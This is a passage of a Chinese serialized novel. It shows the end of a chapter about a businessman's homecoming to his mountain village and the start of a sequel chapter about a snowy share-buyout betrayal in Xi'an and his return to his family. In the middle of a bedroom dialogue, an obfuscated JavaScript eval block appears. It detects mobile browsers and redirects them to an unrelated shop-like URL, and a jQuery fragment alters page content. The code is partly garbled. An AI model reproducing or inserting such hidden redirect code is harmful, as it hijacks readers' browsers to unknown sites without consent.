不是为了逃避都市的喧嚣，而是为了寻找生命的来处，安放漂泊的灵魂。 酒过三巡，王霖站起来，郑重地说：“各位叔伯，合作社的事，我下定决心要做了。前期我投资，注册品牌，打通渠道。大家只管把山货准备好，质量把关好。赚了钱，大家分；亏了钱，算我的。” 院子里安静下来。老人们互相看看，有些不敢相信。 “霖子，你说真的？”老叔问。 “真的。”王霖说，“但我有个条件——咱们的山货，一定要保证质量。不能以次充好，不能掺假。咱们要做，就做长久的生意，做诚信的生意。” “那是自然！”老李激动地说，“山里人最讲信誉！” “还有，”王霖接着说，“我想请各位叔伯当顾问。你们最懂山，最懂货，什么时候采什么，哪里有什么，你们最清楚。我按月给大家发顾问费，不多，是一份心意。” 老人们更加激动了。他们这个年纪，在城里已经找不到工作了，但在山里，他们还有用武之地。 “霖子，你放心！”老叔拍着胸脯，“这事我们一定帮你办好！” 那一晚，核桃树下的灯光亮到很晚。王霖和老人们详细商量了合作社的细节——收购标准、包装设计、运输方式、销售渠道……很多问题，在大家的讨论中，渐渐有了眉目。 王霖发现，这些老人虽然年纪大了，但智慧不减。他们对山的了解，对季节的把握，对药材、山货品质的判断，都是年轻人比不上的。 这就是山村的财富，是时光沉淀下来的智慧。 七、归途漫想，心向山河 在商南待了三天，王霖要回东海了。 临走前的早晨，他一个人走到老屋的后山坡上。从这里，可以看见整个三岔河村，看见那棵核桃树，看见蜿蜒的富水河，看见层层叠叠的青山。 晨雾还未散尽，山村笼罩在薄纱般的雾气中，若隐若现，像一幅淡雅的水墨画。几声鸡鸣犬吠从雾中传来，更显山村的宁静。 王霖深深吸了一口山里的空气，把这幅画面刻进心里。 他想起很多年前，也是在这个山坡上，他对自己说：一定要走出大山，去看看外面的世界。 他做到了。他走了出去，看了世界，经历了风雨，也取得了一些成就。 但现在，站在这里，看着这片生他养他的山水，他有了新的想法：也许，走出去是为了更好地回来。 带着见识，带着能力，带着资源，回来建设家乡，回报这片土地。 城市的霓虹再璀璨，也抵不过山乡的一缕炊烟；岁月的变迁再汹涌，也冲不淡心底的一抹乡愁。父亲说过，人要像山里的树，扎根泥土，便能不惧风雨。如今他带着这份嘱托归来，看见老屋仍在，小庙仍在，青山绿水仍在，便知道有些东西，永远不会被岁月改变。 往后的日子，他要常回商南，常访故园。在父亲垒起的小庙前敬一炷香，在老屋的石阶上坐一坐，在合作社的作坊里忙一忙。守得住乡愁，便守得住初心；记得来路，便不惧归途。 下山时，父亲和哥哥已经在门口等着了。父亲手里提着个布袋子，里面装着晒干的野菜、香菇、核桃，还有一小包庙里求来的平安符。 “拿着，”父亲把袋子递给他，“山里的东西，外面买不到。” 王霖接过，袋子沉甸甸的，不止是山货的重量。 “爸，您保重身体。合作社的事，我回去就启动，过段时间再回来看进展。” “嗯。”父亲点点头，“在外面，别太累。该吃吃，该睡睡。钱是赚不完的，身体要紧。” 王斌送他到车边：“霖子，合作社的事，你尽管放手去做。村里这边，我帮你张罗。老人们都支持，这是好事。” “谢谢哥。”王霖握住哥哥的手，“家里就拜托你了。修老屋的事，也请你先找工匠估个价，我下次回来就开工。” 车子缓缓驶出村子。后视镜里，父亲和哥哥的身影越来越小，最后消失在村口的拐弯处。 王霖的眼眶湿了。但他没有伤感，反而有一种充实和坚定。 山路蜿蜒，青山不断。车窗外，富水河静静流淌，千百年来，它就这样流淌着，滋养着沿河两岸的土地和人民。 王霖想，人就像这河水。从大山里出发，流向远方，但终究会以某种方式，回到源头。 也许不是现在，也许还要很多年。 但他知道，他的心已经回来了。 回到这片山水，回到这片土地，回到生命的来处。 而接下来的路，无论是继续在外奋斗，还是将来回归乡土，他都会走得更加坚定，更加踏实。 因为根在这里。 永远在这里。 雨后的山路上，阳光穿透云层，为连绵的群山镀上一层暖金。王霖望着三岔河的方向，那些消失的小路、即将修复的老屋、香火缭绕的小庙、还有刚刚萌芽的合作社梦想，都在晨光里凝成了温暖的光斑。 车子驶出商南山地，平原在眼前展开。王霖打开车窗，让山风最后拂过面颊。他想起父亲的话，想起老人们的期盼，想起自己对这片土地的承诺。 他知道，这一次归来，不只是为了怀旧，更是为了开创。 开创一条连接山村与都市的路，开创一种既能留住乡愁又能拥抱现代的生活，开创一个让走出去的人愿意回来、让留下来的人活得更好的未来。 这条路也许很长，很难。 但他已经启程。 带着山乡的旧梦，走向风雨归程。 而无论走多远，商南的山，商南的水，商南的人和事，都将是他生命中永恒的坐标，指引他前行，也召唤他归来。 【第二十章·再回商南终】 （字数：9，856字） 31. 《半生债》下卷 第一章 雪落长安 半生债》下卷第一章·雪落长安 一、长安雪 腊月廿三，小年。 雪从凌晨开始下，起初是细碎的雪粒，敲在窗玻璃上沙沙响。天蒙蒙亮时，雪粒变成了雪花，漫天漫地，把整座西安城裹进了一片茫茫的白。 王霖站在酒店窗前，看着这座被雪覆盖的古城。远处的城墙垛口像镶了银边，钟楼的飞檐挑起一蓬蓬雪絮，大街小巷的槐树、梧桐都弯了腰，枝桠上积着厚厚的雪，偶尔不堪重负，“噗”地一声，雪块坠落，在寂静的清晨砸出一团白雾。 这场雪下得凶猛，不像秦岭深处那种温吞的、绵绵的雪。秦岭的雪是柔的，落在松针上无声无息，积在青石上温润如玉，总带着山林的清气。而长安的雪是硬的，带着北方的凛冽，砸在地上能听见响，风一卷就扬起雪雾，迷了人眼。 手机屏幕亮了，是张莉的短信：“雪大，路上小心。我们都等你回来吃饭。” 简单的几个字，王霖看了很久。他能想象妻子此刻的样子——一定早早起来，站在大荔老宅的门口，望着通往西安的方向。她总是这样，话不多，但所有的牵挂都在那双眼睛里。 九点整，他下楼。大堂里暖气开得很足，但走出旋转门的那一刻，寒意还是像刀子一样割过来。雪还在下，风卷着雪花打旋儿，路上的积雪已经没过了脚踝。 车子启动得很勉强，发动机发出吃力的轰鸣。雨刷刮开挡风玻璃上的雪，露出前方白茫茫的世界。街上车很少，都开得很慢，像甲虫在雪地上蠕动。 王霖开得很小心。这条通往酒店的路，一年前他走过很多次——那时西安分厂刚成立，他和张杰、贾博、王言、白明亮五人，常常在这条路上来来往往。车里总是热闹的，张杰说着新谈的客户，王言讲着建材市场的趣事，贾博偶尔插几句谨慎的建议，白明亮则安静地听着，只在关键处点一两句。 那时的雪好像也没这么冷。 --- 二、谈判 会议室的暖气开得燥热。王霖脱了大衣，还是觉得闷。长条桌对面，张杰已经到了，正低头看着手机。他穿一身崭新的藏蓝西装，头发梳得一丝不苟，腕表在灯光下闪着冷光。 门开了，贾博和王言一前一后进来。 贾博穿着深灰色夹克，金丝眼镜后的眼睛有些浮肿，显然没睡好。他朝王霖点点头，在中间位置坐下，把公文包放在桌上，动作很轻，像怕惊动什么。 王言跟在后面，看见王霖，想说什么，嘴唇动了动，终究没出声。他在贾博旁边坐下，从兜里掏出烟，想了想又放回去。 空气凝滞了几分钟。只有空调出风口的嗡嗡声，和窗外隐约的风雪声。 “开始吧。”张杰终于抬起头，脸上挂着职业化的笑容，“王总，协议都准备好了。” 他把一沓文件推过来。王霖翻开，白纸黑字，条条款款。最后一页，留白处等着他的签名。 “按照上次谈的，您撤出全部股份，公司支付一百八十万。”张杰的语速很快，像背书，“但现在公司资金紧张，先付五十万，剩下的分期。这是最新的付款计划——” “我们当初不是这样说的。”王言打断他，声音不高，但很硬。 张杰的笑容僵了一瞬：“王言总，情况有变化。市场不好，货款压得厉害，您也是做生意的，理解一下。” “我理解市场，”王言盯着他，“但不理解出尔反尔。” 会议室又安静下来。窗外的雪似乎更大了，能听见风卷着雪粒砸在玻璃上的声音，细细密密的，像无数只小虫在爬。 王霖看向贾博。贾博低着头，手指无意识地在桌面上画着圈。这个动作王霖太熟悉了——高中时，每次遇到难题，贾博就会这样。 “老贾，”王霖开口，“你说呢？” 贾博抬起头，眼镜后的眼睛闪过一丝挣扎。他张了张嘴，声音有些干涩：“霖子……张杰说的，也是实情。现在……确实困难。” 这句话说得很慢，每个字都像从喉咙里硬挤出来的。 王霖的心一点点沉下去。他想起两个月前，也是在这个酒店，贾博私下跟他说：“霖子，张杰不太对劲，你得防着点。”那时的贾博，眼神里有担忧，有焦急，有二十多年兄弟才有的坦诚。 可现在…… “困难归困难，”王言又开口，“协议签了就得认。张杰，你要这样，那咱们就按合同走法律程序。” 张杰脸上的笑容彻底消失了。他靠回椅背，手指在桌面上轻轻敲着：“王言总，打官司耗时耗力，对谁都没好处。再说了——”他顿了顿，目光扫过王霖，“有些事，闹大了不好看。” 话里有话。会议室里的空气更凝重了。 王霖忽然觉得很累。不是身体的累，是心里那根绷了太久的弦，终于要断了的感觉。他看着对面这三个人——张杰，那个曾经眼里有光的年轻人；贾博，二十多年的兄弟；王言，睡过一张床的挚友。 雪光从窗外透进来，在每个人脸上投下明明暗暗的影子。 “就按张杰说的办吧。”王霖听见自己的声音，平静得让他自己都意外。 王言猛地转头看他：“霖子！” 贾博也抬起头，眼神复杂。 “签吧。”王霖拿起笔，在协议上签下自己的名字。笔尖划过纸张，沙沙的响。最后一笔，手抖了一下，“霖”字的那一点洇开一小片墨迹。 像一滴泪。 签完字，张杰立刻站起来，脸上重新堆起笑容：“王总爽快！以后常联系，生意不成情谊在嘛。” 王霖没接他的话，只是收起自己的那份协议，站起身：“我先走了。” “我送你。”王言跟着站起来。 贾博也站起来，嘴唇动了动，最终只说：“霖子……路上小心。” 王霖点点头，没再看他们，转身走出会议室。 走廊很长，铺着厚厚的地毯，脚步落在上面无声无息。暖气开得太足，闷得人喘不过气。王霖走得很快，大衣搭在手臂上，公文包里的协议沉甸甸的。 那不是几页纸。 那是他半生的一个片段，现在被亲手剪掉了。 --- 三、兄弟 酒店门口，风雪扑面。 王言跟出来，递给他一支烟。两人站在屋檐下，对着茫茫雪地点燃。火光在风雪中明明灭灭，烟刚吸进一口就被风吹散。 “霖子，”王言吐出一口烟，白雾很快消散在风雪里，“这事……对不住。” 王霖摇摇头，没说话。他看着远处的钟楼，雪中的钟楼像一个沉默的巨人，见证了这座古城千百年的聚散离合，悲欢起落。 “张杰变了。”王言狠狠吸了口烟，“不，也许他一直就是这样，只是我们没看出来。” 王霖想起第一次见张杰的样子——两年前，在东海工厂的车间里，年轻人眼睛亮晶晶的，说话时总带着笑，很勤奋。 那时他觉得，这年轻人像极了当年的自己：有冲劲，肯吃苦，眼里有光。 可光会变的。有的光越燃越亮，有的光燃着燃着就变了颜色。 “还记得高中吗？”王言忽然说，“冬天冷，咱俩挤一张床，你总嫌我说梦话。” 王霖笑了。怎么会不记得？商南高中的男生宿舍，冬天像冰窖。宿舍床位紧张，他和王言睡一个铺，上下铺睡了四个人，冷得受不了，盖两床被子，脚抵着脚取暖。王言爱说梦话，有时是背课文，有时是喊“我饿了”，他总是被吵醒，但从来没把王言踹下去。 周日，他们常去王言家。从学校到王言家要穿过半个镇子，路两边是梧桐树，秋天落叶金黄，踩上去沙沙响。王言的母亲是小学老师，温柔贤惠，每次去都做好多好吃的。。。。。。香得让人回味无穷，很解馋。 临走时，王妈妈总会拿出两个玻璃罐，装满自己腌的酸菜。“拿着，在学校别亏着嘴。”她总这么说。 王爸爸是乡村医生，话不多，但每次都会拍拍王霖的肩：“好好读书，将来有出息。” 那些温暖，是实实在在的，渗透在每一个细节里——王言妈妈夹到他碗里的肉，王爸爸给他量体温的手，王言分给他的半块橡皮，两人一起抄的作业，一起挨的训…… “你妈给我们带的酸菜，我够吃一个星期了。”王霖说。 “我妈现在还腌。”王言笑了，“上次回去，她还问起你，说你好久没去了。” 风雪卷过来，王霖眯起眼。是啊，好久没去了。这些年东奔西跑，忙着生意，忙着赚钱，忙着那些虚头巴脑的事，却把最实在的情谊晾在了一边。 “白明亮昨晚给我打电话了。”王言说，“他在深圳都听说了。” 提到白明亮，王霖心里又是一动。 明亮——那个家在王霖回商南必经之路旁的好友。高中时，王霖每次骑车回家，三十里山路，总要在明亮家歇脚。明亮的父亲是个文化人，没一点架子，每次见他来，都招呼：“王霖来了？快进屋喝水。” 明亮家的院子很大，有棵老槐树，夏天绿荫如盖。明亮妈妈会煮一碗荷包蛋，撒上白糖，甜到心里。 明亮聪明，热情，真诚，大方。他事业做得大，但对家乡的情谊从未淡过。去年母校校庆，一次就捐了十万。 当初西安分厂筹备时，明亮坚决反对张杰加入，反对让不熟悉的人参与进来。“就咱们几个老同学，知根知底，做点事，不为赚多少钱，就为这份情谊。”明亮说，“加外人进来，味道就变了。” 可王霖没听。他觉得明亮太保守，觉得张杰有冲劲，是干事业的人。 现在想来，明亮的眼光很亮。他看人看事，看得透，看得远。 “明亮说什么？”王霖问。 “他说，年后想约咱们几个聚聚。”王言顿了顿，“贾博那边……他也叫上。” 王霖沉默了。聚？现在还怎么聚？ 雪更大了。风卷着雪花打旋，天地间白茫茫一片，远处的建筑都模糊了轮廓。 “我得走了。”王霖掐灭烟，“还得赶回大荔。” “路上小心。”王言拍拍他的肩，很用力，“霖子，记住，咱们是兄弟。一辈子的兄弟。” 王霖点点头，转身走进雪里。 风雪立刻吞没了他。他能听见王言在身后喊：“保重！”但他没回头，只是挥了挥手。 有些话不用说。 有些情谊，风雪再大也吹不散。 --- 四、归途 上高速时，雪更紧了。 收费站的顶棚积了厚厚的雪，工作人员穿着臃肿的棉衣，动作迟缓地递过卡。栏杆抬起，王霖缓缓驶入主路。 高速路像一条黑色的带子，在茫茫雪原中蜿蜒向前。两侧的护栏上积着雪，像两条银线。更远处，田野、村庄、树木都消失了，只剩下无边的白。 车很少。偶尔有货车慢吞吞地超过，溅起一片雪雾。王霖开得很慢，时速只有四十。双手紧紧握着方向盘，手心里全是汗。 收音机里，交通台的主播声音急促：“……绕城高速多路段结冰，请司机朋友谨慎驾驶……机场高速已封闭……前往渭南方向的车辆请注意……” 他关掉收音机。车里顿时安静下来，只有发动机的低吼，轮胎压过冰雪的嘎吱声，还有窗外呼啸的风。 这种安静让人心慌。 手机震动。是白明亮。 王霖犹豫了一下，按下接听键。 “霖子，”明亮的声音传来，沉稳，温暖，“听说你今天签字了？” “嗯。” “雪大，路上小心。” “知道。” 短暂的沉默。能听见电话那头隐约的车流声，明亮应该在深圳的街头。 “张杰那些谣言，别往心里去。”明亮说，“清者自清。你是什么人，咱们这些老同学最清楚。” 王霖鼻子一酸。这种时候，还有人信他，还有人愿意打电话来，说一句“我信你”。 “明亮，我……” “别说。”明亮打断他，“咱们多少年兄弟了？你、我、贾博、王言，还有班里那些同学，都是山里走出来的。山里人实在，不搞那些虚头巴脑的。” 王霖想起明亮的家，想起他家老屋边上那片竹林，想起明亮爸爸拍他肩膀的手，想起明亮妈妈煮的荷包蛋。 “叔叔阿姨身体还好吗？”他问。 “好着呢！”明亮的声音明亮起来，“上个月我刚回去。老宅翻新了，我爸在院子里种了菜，我妈养了鸡。他们还念叨你，说你好久没来了。” “替我向他们问好。” “一定。”明亮说，“我爸还说，等开春了，让你来家里，他给你炖土鸡汤。记得吗？高中时你来，他总说：‘王霖这娃，瘦，得多补补。’” 记得。怎么会不记得？ 那些细碎的温暖，像散落的珍珠，此刻在记忆里串成了链。 “霖子，”明亮的声音认真起来，“这次的事，是个跟头。但咱们山里出来的汉子，哪个没摔过跟头？摔倒了，爬起来，拍拍土，继续走。” “我知道。” “需要帮忙，随时开口。”明亮顿了顿，“我不是说钱。钱你有办法。我说的是别的——人脉，渠道，主意。我在南方这么多年，有些资源。” “谢谢。” “谢什么。”明亮笑了，“兄弟是干什么用的？” 挂了电话，王霖看着前方白茫茫的路。雪还在下，密密麻麻的雪花砸在挡风玻璃上，雨刷拼命地刮，刮出一片扇形的清晰，但很快又被雪覆盖。 就像人生，总有刮不尽的雪，走不完的夜路。 但他忽然觉得，心里没有那么空了。 他想起了很多人。想起了父亲王老根，那个在山里种了一辈子地的老人，总说：“人得像山，风来了雨来了，你都受着，但山还在那里。” 想起了大哥王斌，守着老宅，种着几亩地，说：“日子简单点好。” 想起了妻子张莉，那个话不多但把整个家撑起来的女人。 想起了女儿菁菁，十二岁了，还会扑过来抱他的胳膊。 想起了贾博。想起十六岁那年，两人骑自行车去贾博舅舅家。一百多公里山路，骑了整整一天。到的时候，腿都不会打弯了。贾博舅舅做了满满一桌子菜，贾博妈妈拉着他的手说：“霖子，把这儿当自己家。” 那些情谊，那些温暖，是真的。 不会因为一场雪，一份协议，就消失不见。 车流慢了下来。前方有红色的刹车灯亮起，一串串，像雪地里开放的花。 堵车了。 王霖熄了火，坐在车里等。暖气渐渐弱下来，冷气从缝隙钻进来。他裹紧大衣，还是觉得冷。 手机又响了。这次是贾博。 屏幕上闪烁的名字，让王霖的心揪了一下。他盯着那个名字，看了很久，最终还是没有接。 电话自动挂断。几秒钟后，一条短信进来： “霖子，对不起。今天我有苦衷。年后我去东海找你，当面解释。雪大路滑，一定小心。保重。” 王霖盯着那条短信。短短的几行字，他看了很久。 他能想象贾博打出这些字时的样子——一定皱着眉，眼镜滑到鼻尖，手指在屏幕上犹豫又犹豫。 贾博有他的难处。银行处长，正在关键上升期，每一步都得小心。张杰那些谣言，那些中伤，对贾博的威胁可能比对他还大。 可理解归理解，心里的那道坎，还是过不去。 二十年。从十六岁到四十六岁，最好的年华都在一起。贾博家穷，暑假没地方去，就在王霖家一住两个月。王霖父母从没收过他一分钱生活费，把他当亲儿子待。贾博妈妈做的布鞋，贾博姐姐织的毛衣，贾博哥哥送的书……那些细碎的温暖，渗透在岁月里。 可现在…… 王霖闭上眼睛，深深吸了口气。 雪还在下。车窗外，雪已经积得很厚了，覆盖了一切——道路、田野、树木、远处的山。世界一片洁白，纯净得没有一丝杂质。 但雪下是什么？是泥土，是石头，是盘根错节的根，是千百年来不曾改变的大地。 就像有些情谊，表面上蒙了霜雪，但底下，根还在那里。 --- 五、夜归 到大荔时，天已经完全黑了。 雪小了些，但还在下。县城街道两旁的树上挂满了彩灯，红的绿的黄的，在雪夜里闪着温暖的光。灯光映在雪地上，泛着柔和的晕。偶尔有行人走过，踩在雪上咯吱咯吱响，呼出的白气在灯光下清晰可见。 王霖把车停在巷口。巷子很老，青石板路被雪覆盖，只露出凹凸的轮廓。两旁的老屋都亮着灯，窗玻璃上蒙着水汽，透出橘黄色的光晕。 巷子尽头那扇木门虚掩着，门缝里漏出一线光，在地上投出一道温暖的光带。 他提着公文包下车。雪落在脸上，凉丝丝的。靴子踩进雪里，陷下去，发出沉闷的响声。 走到门前，刚要推，门却从里面开了。 张莉站在门口，裹着厚厚的羽绒服，领子竖起来，遮住了半张脸。但王霖一眼就看见了她眼里的光——那种等待终于有了结果的光，担忧终于落地的光。 “回来了？”她上前一步，很自然地拉起他的手，“手这么冰。” 她的手很暖，掌心有常年做家务留下的薄茧，但那种温暖，是从心里透出来的。 王霖看着她，想说点什么，但喉咙像被什么堵住了。他看着妻子冻红的脸，看着她眼里的温柔和心疼，忽然觉得鼻子发酸，眼眶发热。 二十年的夫妻，不需要太多话。一个眼神，一个动作，就都懂了。 “快进屋。”张莉拍拍他身上的雪，动作很轻，像怕弄疼他，“饭菜都热着呢。” 她拉着他的手往里走。王霖任由她拉着，像个走了很远很远路、终于回到家的孩子。 院子里，岳母正在厨房忙活。锅铲碰撞的声音，油锅滋啦的响声，还有蒸汽顶开锅盖的噗噗声，混在一起，是世上最温暖的声音。厨房窗户上蒙着厚厚的水汽，能看见岳母在里面忙碌的身影，模糊而温暖。 女儿王菁菁听见动静，“噔噔噔”从屋里跑出来。十二岁的姑娘，个子已经到王霖肩膀了，但跑起来还是孩子样，马尾辫在脑后一甩一甩。 “爸爸！”她眼睛亮得像星星，跑过来一把抱住王霖的胳膊，“你可回来了！姥姥做了红烧肉，炖了鸡汤，还有饺子，都是你爱吃的！” 王霖摸摸女儿的头，小姑娘的头发柔软顺滑，带着洗发水的清香。 “等急了？”他问。 “可急了！”王菁菁撅着嘴，“姥姥说必须等你回来才能开饭，我肚子都咕咕叫了。” 屋里真暖和。炉子烧得正旺，炉膛里的煤块红彤彤的，水壶坐在炉子上，噗噗冒着白气。桌上的菜都用碗扣着保温，但香气还是丝丝缕缕地钻出来——是红烧肉甜咸交织的浓香，是炖鸡加了香菇和枸杞的醇香，是饺子皮混着白菜猪肉馅的清香。 岳母从厨房出来，围裙上沾着面粉，脸上带着笑：“霖子回来了？快坐下，吃饭吃饭。菁菁，去拿碗筷。” 一家人围桌坐下。王菁菁迫不及待地揭开扣碗，热气“呼”地腾起来，模糊了每个人的脸。红烧肉油亮亮红彤彤，炖鸡的汤色金黄，饺子白白胖胖挤在盘子里，还有炒青菜绿油油，凉拌三丝红白相间。 “爸，你吃这个。”王菁菁夹了块最大的红烧肉放到王霖碗里，“姥姥炖了好几个小时，可烂了。” 张莉给他盛了碗鸡汤，汤色清亮，飘着油花和枸杞：“先喝口汤，暖暖。” 岳母夹了只鸡腿给他：“今天这只鸡是村里老王家的，散养的，香。” 王霖看着碗里堆成小山的菜，看着妻子、女儿、岳母关切的眼神，忽然觉得喉咙发紧。他低下头，夹起那块红烧肉放进嘴里。 肉炖得极烂，入口即化，甜咸适中，是他从小吃到大的味道。可此刻，他尝不出滋味。 不是菜不好。是他心里太满，太堵，太沉。 “好吃吗？”岳母问。 “好吃。”王霖说，声音有些哑。 张莉看了他一眼，没说话，只是又给他夹了块鸡肉。 这顿饭吃得很安静。王菁菁叽叽喳喳说着学校的事——期末考了第三名，同桌转学了，寒假作业好多。岳母偶尔附和几句，张莉一直沉默，只是不时给王霖夹菜，给女儿盛汤，给母亲添饭。 王霖吃得很少。他强迫自己吃，但每一口都像在吞石头。胃里沉甸甸的，心也沉甸甸的。 吃完饭，王菁菁缠着爸爸看电视。张莉说：“让爸爸休息，你今天作业写完了吗？” 小姑娘撅着嘴，但还是听话地回了自己房间。 岳母收拾碗筷，张莉帮着收拾。王霖坐在沙发上，电视开着，但什么也没看进去。屏幕上的光影明明灭灭，映在他脸上，忽明忽暗。 手机在口袋里震动。他掏出来看，是一条陌生号码的短信： “王总，听说你在西安栽了？活该。人在做天在看。你以为贾博会帮你？他自身难保了。” 没有署名。但他知道是谁。 王霖盯着那条短信，看了很久。然后他删掉，关掉手机。 累。从未有过的累。不是身体的累，是心里那根绷了太久的弦，终于断了之后的虚脱。 他靠在沙发上，闭上眼。 --- 六、雪夜长谈 夜里，王霖醒了。 他是被噩梦惊醒的。梦里，他在一片白茫茫的雪地里走，四周一个人都没有。风雪呼啸，刮在脸上像刀子。他大声喊，但声音被风吞没。他拼命跑，但雪太深，每迈一步都要用尽全身力气。最后他摔倒了，雪埋上来，冰冷，沉重，窒息。 睁开眼，屋里一片漆黑。只有窗外透进来一点雪光，白惨惨的，映在天花板上。 张莉在他身边，呼吸均匀。但他知道她没睡着——二十年的夫妻，太熟悉了。她没睡着时，呼吸会稍微重一点，身体会微微紧绷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196372|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “醒了？”果然，她轻声问。 “嗯。” “做噩梦了？” “嗯。” 张莉转过身，面对着他。黑暗中，看不清彼此的脸，但能感受到呼吸，温热，轻柔。 “睡不着？”她问。 “嗯。”王霖顿了顿，“吵醒你了？” “没有，我也没睡。”张莉伸手，轻轻抚着他的脸。她的手很暖，掌心有薄茧，抚在脸上粗粝而真实。 两人都没再说话。黑暗中，只有窗外隐约的风声，和彼此平稳的呼吸。 “今天……很难受吧？”张莉终于开口，声音很轻，像怕惊动什么。 王霖没说话。他握住她的手，握得很紧，像溺水的人抓住浮木。 “钱没了，可以再挣。”张莉的声音很平静，但每个字都像石头，沉甸甸地落进他心里，“人好好的，比什么都强。” “不只是钱。”王霖终于开口，声音沙哑得像被砂纸磨过，“贾博……我们几十年的交情，完了。” 黑暗中，张莉沉默了一会儿。他能感觉到她在思考，在斟酌字句。 “也许……还有转圜的余地？”她试探着问。 “没有了。”王霖摇头，尽管她知道她看不见，“有些话说了，有些事做了，就回不去了。” 他想起了上午贾博沉默的样子，想起了他说的那句“张杰说的也有道理”。那句话像一根刺，扎在心里，拔不出来，一碰就疼。 二十年。从十六岁到四十六岁，人生最好的一段时光。他们一起读书，一起成长，一起经历青春岁月的迷茫和热血。 贾博家穷，暑假没地方去，就在王霖家一住两个月。王霖的父母——王老根和那个早逝的母亲——从没收过他一分钱生活费，把他当亲儿子待。饭桌上，母亲总把最好的菜夹给贾博；冬天，父亲会把最厚的被子给他盖；农忙时，贾博跟着下地干活，手上磨出水泡，母亲心疼得直掉泪。 后来工作了，各奔东西，但联系从没断过。贾博在银行系统里一步步往上走，王霖在商海里沉浮，两人互相扶持，互相鼓励。王霖记得，他刚辞职办厂时，资金紧张，是贾博帮他联系了第一笔贷款。虽然贾博反复强调“必须合规操作”，但那份心意，王霖懂。 可现在，为了一个张杰，为了几百万，这份二十年的情谊，碎了。 “我好后悔。”王霖说，声音哽咽了，“后悔当初让张杰代持股份，后悔让贾博入股，后悔把分厂交给他们……都是我太天真，太信任人。” 张莉没说话，只是轻轻拍着他的背，像哄孩子。一下，一下，很有节奏。 “贾博一定也很难过。”她终于说，“夹在中间，左右为难。” “我知道。”王霖说，“可我还是怪他。怪他为什么不站在我这边，怪他为什么不说句公道话。” “也许……他有他的难处。” 王霖沉默了。他想起了贾博的身份——银行处长，正在关键时期。想起了他反复强调的“合规”。想起了他小心翼翼维护的一切。 是啊，贾博有他的难处。可自己呢？自己的损失，自己的委屈，自己的痛苦，谁又能理解？ 窗外，风好像更大了。能听见雪粒砸在窗户上的声音，细细密密的，像无数只小虫在爬。 “睡吧。”张莉轻声说，“明天再说。” 王霖闭上眼。但他知道，今晚，注定无眠。 他想起很多事。想起高中时，和贾博一起骑自行车去贾博舅舅家。一百多公里山路，两人骑了整整一天。到的时候，腿都不会打弯了，屁股磨破了皮，火辣辣地疼。但心里是畅快的，是那种少年人才有的、天不怕地不怕的畅快。 贾博舅舅做了满满一桌子菜，都是山里菜——腊肉炒蕨菜，土鸡炖蘑菇，凉拌野菜。贾博妈妈拉着他的手说：“霖子，把这儿当自己家。” 晚上睡在舅舅家的土炕上，两人聊到半夜。说以后要一起闯天下，说要干一番大事业，说要让家里人过上好日子。 那些话，那些梦想，现在想来幼稚得可笑。但那份真诚，那份热血，是真的。 他还想起王言，想起白明亮，想起那些老同学。 王言家温暖的小院，王妈妈做的红烧肉，王爸爸拍他肩膀的手。 明亮家那棵老槐树，明亮妈妈煮的荷包蛋，明亮爸爸那句“王霖这娃，实诚”。 还有父亲王老根，那个在山里种了一辈子地的老人，总说：“人得像山，风来了雨来了，你都受着，但山还在那里。” 大哥王斌，守着老宅，种着几亩地，说：“日子简单点好。” 这些情谊，这些温暖，是真的。 不会因为一场失败，一次背叛，就消失不见。 雪还在下。一片一片，无声无息，覆盖了整个世界。 就像时间，一分一秒，从不停歇，把一切都裹进记忆里。 有些伤会结痂，有些痛会淡去，但那些真真切切的情谊，那些渗透在岁月里的温暖，会一直在那里。 在心底最深处，像种子埋在土里，等春天来了，还会发芽。 王霖想着想着，呼吸渐渐平稳。 黑暗中，张莉感觉到他睡着了，手还在轻轻拍着他的背。 一下，一下，像安抚，像承诺。 窗外，雪渐渐小了。风也停了。 天地间一片寂静，只有雪光，清白，柔和，安静地照着这个沉睡的世界。 --- 七、雪后晨光 第二天早晨，王霖是被鸟叫声吵醒的。 睁开眼，天已大亮。阳光从窗帘缝隙钻进来，在地上投出一道明亮的光带。光带里有细细的尘埃在飞舞，慢慢悠悠，不慌不忙。 他起身走到窗前，拉开窗帘。 雪停了。 世界一片洁白。院子里的雪积了半尺厚，平平整整，像铺了一层厚厚的绒毯。枣树的枝桠上积着雪，沉甸甸地弯着腰，偶尔有雪块“噗”地落下，在雪地上砸出一个小坑。屋檐下挂着冰凌，长长短短，晶莹剔透，在阳光下闪着七彩的光。 远处，山峦银装素裹，层层叠叠，在晨光中泛着淡淡的金色。天空是那种雪后特有的蓝，清澈，高远，没有一丝云。 真美。 王霖深吸一口气。空气清冽甘甜，带着雪和泥土的味道，灌满胸腔，凉丝丝的，但很舒服。 门开了，张莉端着热水进来：“醒了？洗漱吃饭吧。” 她脸上带着笑，眼里的担忧淡了些，但还在。那是种深植在骨子里的牵挂，不会因为一夜安睡就消失。 早饭是稀饭、馒头、咸菜，还有昨晚剩的饺子煎了煎。简单，但温暖。 王菁菁吃得很快，说要和同学去堆雪人。岳母叮嘱她多穿点，别冻着。 饭后，王霖说要出去走走。张莉想陪他，他拒绝了。 “我一个人静静。” 他沿着村路往山上走。雪后的山路很难走，雪没过了小腿，深一脚浅一脚，踩下去“咯吱”响。偶尔踩到石头或树根，滑一下，心就跟着一紧。 但他坚持往上走。一直走到半山腰那块平地上——小时候常来的地方。 从这里，可以看见整个村子。白茫茫一片，屋顶、院墙、道路都盖着雪，只有烟囱冒着炊烟，青灰色的，袅袅升起，在清冽的空气中慢慢散开。 更远处，渭河水像一条银色的带子，蜿蜒宽阔。河面结了冰，雪落在上面，和岸边的雪连成一片，分不清哪里是河，哪里是岸。 远处的秦岭，最美的一段华山，还有少华山。。。。。。。。 山峦层层叠叠，银装素裹，在晨光中泛着柔和的光。天空蓝得透明，阳光照在雪地上，反射出刺眼的白光，但不灼人，是那种清冷的、洁净的光。 王霖站了很久。寒风刮在脸上，像刀子，但他感觉不到冷。 他在想，想这半生。 